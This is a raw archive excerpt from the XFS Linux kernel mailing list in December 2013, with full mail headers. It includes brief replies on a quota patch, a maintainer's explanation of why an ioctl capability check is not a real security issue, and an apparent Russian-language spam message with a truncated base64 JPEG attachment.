3.2.2.142970 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Le Tue, 10 Dec 2013 09:21:31 +1100 vous =C3=A9criviez: > So, while the tech might be great, the benchmarks sucked at > demonstrating that. And now that we have enhance-io, bcache and friends, I'm actually more confident of using these than some sort of hidden pseudo-hardware magic. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From bpm@sgi.com Mon Dec 9 17:07:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7BB7E7F8E for ; Mon, 9 Dec 2013 17:07:47 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 567E18F8033; Mon, 9 Dec 2013 15:07:44 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 252FB4266DC; Mon, 9 Dec 2013 17:07:44 -0600 (CST) Date: Mon, 9 Dec 2013 17:07:44 -0600 From: Ben Myers To: Christoph Hellwig Cc: Dave Chinner , Jeff Liu , "xfs@oss.sgi.com" Subject: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot Message-ID: <20131209230744.GA1935@sgi.com> References: <5294A469.1060000@oracle.com> <20131128104336.GE26927@infradead.org> <52986001.9040101@oracle.com> <20131206210137.GT1935@sgi.com> <52A2B75C.3040803@oracle.com> <20131209012642.GO31386@dastard> <20131209023655.GQ31386@dastard> <20131209071003.GA2736@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209071003.GA2736@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Sun, Dec 08, 2013 at 11:10:03PM -0800, Christoph Hellwig wrote: > The hint removal gets my vote. I actually had it written up the last > time I touch the quota code, but for some reasons I stopped before > sumitting it. Sounds good to me too. -Ben From david@fromorbit.com Mon Dec 9 17:30:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EDB667F9D for ; Mon, 9 Dec 2013 17:30:15 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DD866304059 for ; Mon, 9 Dec 2013 15:30:15 -0800 (PST) X-ASG-Debug-ID: 1386631810-04cbb0416665f900001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 9sjaYTzRQkj8XVCD for ; Mon, 09 Dec 2013 15:30:11 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgAIAHxRplJ5LHyk/2dsb2JhbABZgwe0UYVQgSgXdIIlAQEFOhwjEAgDGAkNGA8FJQMhE4gBwGwXFo4tTQcSDYQUA5gTkhSDPSiBLQgX Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Dec 2013 10:00:09 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VqAH4-00022M-9O; Tue, 10 Dec 2013 10:30:02 +1100 Date: Tue, 10 Dec 2013 10:30:02 +1100 From: Dave Chinner To: Kees Cook Cc: Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , Greg KH , xfs@oss.sgi.com Subject: Re: XFS security fix never sent to -stable? Message-ID: <20131209233002.GV31386@dastard> X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1386631810 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142971 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- [CC the xfs list. Kees - I shouldn't have to remind you to do this. ] On Thu, Dec 05, 2013 at 04:35:50PM -0800, Kees Cook wrote: > Hi, > > It looks like 8c567a7fab6e086a0284eee2db82348521e7120c ("xfs: add > capability check to free eofblocks ioctl") is a security fix that was > never sent to -stable? From what I can see, it was introduced in 3.8 > by 8ca149de80478441352a8622ea15fae7de703ced ("xfs: add > XFS_IOC_FREE_EOFBLOCKS ioctl"). > > I don't see this in the 3.8.y tree. Should it be added there and newer? Well, it's not really a security problem at all, given that it only affects speculative preallocation beyond EOF. i.e. it affects filesystem metadata that does not yet index any user data. Indeed, the kernel already does exactly what this ioctl does every 5 minutes without user intervention. i.e. it's simply a maintenance task we need to execute periodically or on demand as a result of other events (e.g. from a userspace daemon that is listen to quota exhaustion messages). So apart from allowing a user to burn some CPU with the ioctl doing nothing but scanning, there's little in way of a security problem being exposed on kernels prior to 3.12 here. The reason for the cap check? Turning off this ioctl in containers restricted by user name spaces. i.e. new functionality added to XFS in 3.12 introduced curiously vague and difficult to explain new inode access restrictions, so we took the "be safe by default" route and only allowed the init namespace access to the ioctl.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From masis555@aha.ru Mon Dec 9 17:42:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5863C7F56 for ; Mon, 9 Dec 2013 17:42:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E3F9BAC001 for ; Mon, 9 Dec 2013 15:42:51 -0800 (PST) X-ASG-Debug-ID: 1386632566-04bdf0131b1626d0001-NocioJ Received: from n-n.ru (n-n.ru [185.12.94.15]) by cuda.sgi.com with ESMTP id w7kcW3pk9te0ZDsO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 09 Dec 2013 15:42:47 -0800 (PST) X-Barracuda-Envelope-From: masis555@aha.ru X-Barracuda-Apparent-Source-IP: 185.12.94.15 Received: from Unknown (186-59-100-184.speedy.com.ar [186.59.100.184] (may be forged)) (authenticated bits=0) by n-n.ru (8.14.5/8.14.5) with ESMTP id rB9NgGr2029976; Tue, 10 Dec 2013 03:42:20 +0400 (MSK) (envelope-from masis555@aha.ru) Message-ID: <0F8D24458CF34E34B75CDC8BA0CE8C1E@lpcvzn> Reply-To: =?windows-1251?B?wcXSzs3N28Ug0czF0cg=?= From: =?windows-1251?B?wcXSzs3N28Ug0czF0cg=?= To: , , , , Subject: =?windows-1251?B?yu7t8vDu6/wg4eXy7u3t+/Ug8ezl8eXp?= Date: Tue, 10 Dec 2013 00:42:32 +0100 X-ASG-Orig-Subj: =?windows-1251?B?yu7t8vDu6/wg4eXy7u3t+/Ug8ezl8eXp?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_052C_01CEF540.B6738860" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-Barracuda-Connect: n-n.ru[185.12.94.15] X-Barracuda-Start-Time: 1386632567 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142971 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_TAG_BALANCE_HEAD BODY: HTML has unbalanced "head" tags 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_052C_01CEF540.B6738860 Content-Type: multipart/alternative; boundary="----=_NextPart_001_052D_01CEF540.B6738860" ------=_NextPart_001_052D_01CEF540.B6738860 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CA=EE=ED=F2=F0=EE=EB=FC =EF=F0=EE=F7=ED=EE=F1=F2=E8 =E1=E5=F2=EE=ED=E0 (= =C3=CE=D1=D2) ------=_NextPart_001_052D_01CEF540.B6738860 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CA=EE=ED=F2=F0=EE=EB=FC =EF=F0=EE=F7=ED=EE=F1=F2=E8 =E1=E5=F2=EE=ED= =E0 (=C3=CE=D1=D2)
------=_NextPart_001_052D_01CEF540.B6738860-- ------=_NextPart_000_052C_01CEF540.B6738860 Content-Type: image/jpeg; name="=?windows-1251?B?0uX17e7r7uPo6CDh5fLu7eAg4iDx7uLw5ezl?= =?windows-1251?B?7e379SDz8evu4uj/9S5qcGc=?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?0uX17e7r7uPo6CDh5fLu7eAg4iDx7uLw5ezl?= =?windows-1251?B?7e379SDz8evu4uj/9S5qcGc=?=" /9j/4AAQSkZJRgABAQEAlgCWAAD/4RB4RXhpZgAATU0AKgAAAAgABAE7AAIAAAADaHAAAIdpAAQA AAABAAAISpydAAEAAAAGAAAQauocAAcAAAgMAAAAPgAAAAAc6gAAAAgAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB6hwABwAACAwAAAhc AAAAABzqAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABoAHAAAAD/4gxYSUNDX1BST0ZJTEUAAQEAAAxITGlubwIQAABtbnRyUkdC IFhZWiAHzgACAAkABgAxAABhY3NwTVNGVAAAAABJRUMgc1JHQgAAAAAAAAAAAAAAAAAA9tYAAQAA AADTLUhQICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFj cHJ0AAABUAAAADNkZXNjAAABhAAAAGx3dHB0AAAB8AAAABRia3B0AAACBAAAABRyWFlaAAACGAAA ABRnWFlaAAACLAAAABRiWFlaAAACQAAAABRkbW5kAAACVAAAAHBkbWRkAAACxAAAAIh2dWVkAAAD TAAAAIZ2aWV3AAAD1AAAACRsdW1pAAAD+AAAABRtZWFzAAAEDAAAACR0ZWNoAAAEMAAAAAxyVFJD AAAEPAAACAxnVFJDAAAEPAAACAxiVFJDAAAEPAAACAx0ZXh0AAAAAENvcHlyaWdodCAoYykgMTk5 OCBIZXdsZXR0LVBhY2thcmQgQ29tcGFueQAAZGVzYwAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEA AAAAAAAAAAAAABJzUkdCIElFQzYxOTY2LTIuMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAWFlaIAAAAAAAAPNRAAEAAAABFsxYWVogAAAAAAAAAAAAAAAA AAAAAFhZWiAAAAAAAABvogAAOPUAAAOQWFlaIAAAAAAAAGKZAAC3hQAAGNpYWVogAAAAAAAAJKAA AA+EAAC2z2Rlc2MAAAAAAAAAFklFQyBodHRwOi8vd3d3LmllYy5jaAAAAAAAAAAAAAAAFklFQyBo dHRwOi8vd3d3LmllYy5jaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAABkZXNjAAAAAAAAAC5JRUMgNjE5NjYtMi4xIERlZmF1bHQgUkdCIGNvbG91ciBzcGFjZSAt IHNSR0IAAAAAAAAAAAAAAC5JRUMgNjE5NjYtMi4xIERlZmF1bHQgUkdCIGNvbG91ciBzcGFjZSAt IHNSR0IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZGVzYwAAAAAAAAAsUmVmZXJlbmNlIFZpZXdpbmcg Q29uZGl0aW9uIGluIElFQzYxOTY2LTIuMQAAAAAAAAAAAAAALFJlZmVyZW5jZSBWaWV3aW5nIENv bmRpdGlvbiBpbiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHZpZXcAAAAA ABOk/gAUXy4AEM8UAAPtzAAEEwsAA1yeAAAAAVhZWiAAAAAAAEwJVgBQAAAAVx/nbWVhcwAAAAAA AAABAAAAAAAAAAAAAAAAAAAAAAAAAo8AAAACc2lnIAAAAABDUlQgY3VydgAAAAAAAAQAAAAABQAK AA8AFAAZAB4AIwAoAC0AMgA3ADsAQABFAEoATwBUAFkAXgBjAGgAbQByAHcAfACBAIYAiwCQAJUA mgCfAKQAqQCuALIAtwC8AMEAxgDLANAA1QDbAOAA5QDrAPAA9gD7AQEBBwENARMBGQEfASUBKwEy ATgBPgFFAUwBUgFZAWABZwFuAXUBfAGDAYsBkgGaAaEBqQGxAbkBwQHJAdEB2QHhAekB8gH6AgMC DAIUAh0CJgIvAjgCQQJLAlQCXQJnAnECegKEAo4CmAKiAqwCtgLBAssC1QLgAusC9QMAAwsDFgMh Ay0DOANDA08DWgNmA3IDfgOKA5YDogOuA7oDxwPTA+AD7AP5BAYEEwQgBC0EOwRIBFUEYwRxBH4E jASaBKgEtgTEBNME4QTwBP4FDQUcBSsFOgVJBVgFZwV3BYYFlgWmBbUFxQXVBeUF9gYGBhYGJwY3 BkgGWQZqBnsGjAadBq8GwAbRBuMG9QcHBxkHKwc9B08HYQd0B4YHmQesB78H0gflB/gICwgfCDII RghaCG4IggiWCKoIvgjSCOcI+wkQCSUJOglPCWQJeQmPCaQJugnPCeUJ+woRCicKPQpUCmoKgQqY Cq4KxQrcCvMLCwsiCzkLUQtpC4ALmAuwC8gL4Qv5DBIMKgxDDFwMdQyODKcMwAzZDPMNDQ0mDUAN Wg10DY4NqQ3DDd4N+A4TDi4OSQ5kDn8Omw62DtIO7g8JDyUPQQ9eD3oPlg+zD88P7BAJECYQQxBh EH4QmxC5ENcQ9RETETERTxFtEYwRqhHJEegSBxImEkUSZBKEEqMSwxLjEwMTIxNDE2MTgxOkE8UT 5RQGFCcUSRRqFIsUrRTOFPAVEhU0FVYVeBWbFb0V4BYDFiYWSRZsFo8WshbWFvoXHRdBF2UXiReu F9IX9xgbGEAYZRiKGK8Y1Rj6GSAZRRlrGZEZtxndGgQaKhpRGncanhrFGuwbFBs7G2MbihuyG9oc AhwqHFIcexyjHMwc9R0eHUcdcB2ZHcMd7B4WHkAeah6UHr4e6R8THz4faR+UH78f6iAVIEEgbCCY IMQg8CEcIUghdSGhIc4h+yInIlUigiKvIt0jCiM4I2YjlCPCI/AkHyRNJHwkqyTaJQklOCVoJZcl xyX3JicmVyaHJrcm6CcYJ0kneierJ9woDSg/KHEooijUKQYpOClrKZ0p0CoCKjUqaCqbKs8rAis2 K2krnSvRLAUsOSxuLKIs1y0MLUEtdi2rLeEuFi5MLoIuty7uLyQvWi+RL8cv/jA1MGwwpDDbMRIx SjGCMbox8jIqMmMymzLUMw0zRjN/M7gz8TQrNGU0njTYNRM1TTWHNcI1/TY3NnI2rjbpNyQ3YDec N9c4FDhQOIw4yDkFOUI5fzm8Ofk6Njp0OrI67zstO2s7qjvoPCc8ZTykPOM9Ij1hPaE94D4gPmA+ oD7gPyE/YT+iP+JAI0BkQKZA50EpQWpBrEHuQjBCckK1QvdDOkN9Q8BEA0RHRIpEzkUSRVVFmkXe RiJGZ0arRvBHNUd7R8BIBUhLSJFI10kdSWNJqUnwSjdKfUrESwxLU0uaS+JMKkxyTLpNAk1KTZNN 3E4lTm5Ot08AT0lPk0/dUCdQcVC7UQZRUFGbUeZSMVJ8UsdTE1NfU6pT9lRCVI9U21UoVXVVwlYP VlxWqVb3V0RXklfgWC9YfVjLWRpZaVm4WgdaVlqmWvVbRVuVW+VcNVyGXNZdJ114XcleGl5sXr1f D19hX7NgBWBXYKpg/GFPYaJh9WJJYpxi8GNDY5dj62RAZJRk6WU9ZZJl52Y9ZpJm6Gc9Z5Nn6Wg/ aJZo7GlDaZpp8WpIap9q92tPa6dr/2xXbK9tCG1gbbluEm5rbsRvHm94b9FwK3CGcOBxOnGVcfBy S3KmcwFzXXO4dBR0cHTMdSh1hXXhdj52m3b4d1Z3s3gReG54zHkqeYl553pGeqV7BHtje8J8IXyB fOF9QX2hfgF+Yn7CfyN/hH/lgEeAqIEKgWuBzYIwgpKC9INXg7qEHYSAhOOFR4Wrhg6GcobXhzuH n4gEiGmIzokziZmJ/opkisqLMIuWi/yMY4zKjTGNmI3/jmaOzo82j56QBpBukNaRP5GokhGSepLj k02TtpQglIqU9JVflcmWNJaflwqXdZfgmEyYuJkkmZCZ/JpomtWbQpuvnByciZz3nWSd0p5Anq6f HZ+Ln/qgaaDYoUehtqImopajBqN2o+akVqTHpTilqaYapoum/adup+CoUqjEqTepqaocqo+rAqt1 q+msXKzQrUStuK4trqGvFq+LsACwdbDqsWCx1rJLssKzOLOutCW0nLUTtYq2AbZ5tvC3aLfguFm4 0blKucK6O7q1uy67p7whvJu9Fb2Pvgq+hL7/v3q/9cBwwOzBZ8Hjwl/C28NYw9TEUcTOxUvFyMZG xsPHQce/yD3IvMk6ybnKOMq3yzbLtsw1zLXNNc21zjbOts83z7jQOdC60TzRvtI/0sHTRNPG1EnU y9VO1dHWVdbY11zX4Nhk2OjZbNnx2nba+9uA3AXcit0Q3ZbeHN6i3ynfr+A24L3hROHM4lPi2+Nj 4+vkc+T85YTmDeaW5x/nqegy6LzpRunQ6lvq5etw6/vshu0R7ZzuKO6070DvzPBY8OXxcvH/8ozz 